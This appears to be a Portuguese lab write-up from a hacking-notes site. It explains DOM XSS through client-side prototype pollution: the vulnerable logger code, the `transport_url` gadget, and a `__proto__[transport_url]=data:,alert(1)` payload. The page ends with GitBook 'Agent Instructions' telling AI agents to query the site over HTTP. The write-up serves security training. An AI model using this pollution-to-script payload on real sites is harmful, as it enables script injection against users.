> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md).

# XSS no DOM via Prototipagem Poluída no Lado do Cliente

#### XSS no DOM via poluição de protótipo no lado do cliente

#### Contexto do laboratório

A aplicação é vulnerável a uma **XSS no DOM** disparado por uma **poluição de protótipo** (no lado do cliente). / Objetivo: **poluir `Object.prototype`** com uma propriedade útil, encontre um **gadget** no JS que o opera, então execute `alert()`.

### 1) Observação da Poluição do Protótipo

#### Fonte da Poluição (na URL)

Propriedades podem ser injetadas em `__proto__` via os parâmetros:

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

#### Controle no Console

Após a navegação, verifica-se que a propriedade "fail" em todos os objetos:

```javascript
console.log({}.foo)
```

<figure><img src="/files/af8b8af8d59e3078b978e5beec02b361d0706101" alt="" width="563"><figcaption></figcaption></figure>

### 2) Código Vulnerável no Cliente

O site contém uma lógica de

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Falha ao armazenar a consulta");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};

    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

Ponto-chave: o código lê **`config.transport_url`** e o usa como **fonte de um `<script>`**.

### 3) Gadget Explorável Identificado

#### Gadget

* `config.transport_url`

#### Por Que Isso É Perigoso

Se `transport_url` existe (mesmo via o protótipo), o script faz:

* cria um `<script>`
* `script.src = config.transport_url`
* integração ao DOM

Assim, podemos forçar o navegador a carregar um script de uma URL controlada.

### 4) Operação: acionar o XSS

#### Carga útil (poluição + execução)

`Object.prototype.transport_url` é poluído com uma `data:` URL que executa `alert(1)`:

```javascript
?__proto__[transport_url]=data:,alert(1)
```

<figure><img src="/files/c3ad08d6b31d0fe713b22f9b11358b8e70b26726" alt=""><figcaption></figcaption></figure>

#### Efeito colateral no DOM

O código acaba gerando algo equivalente a:

```javascript
<script src="data:,alert(1)"></script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
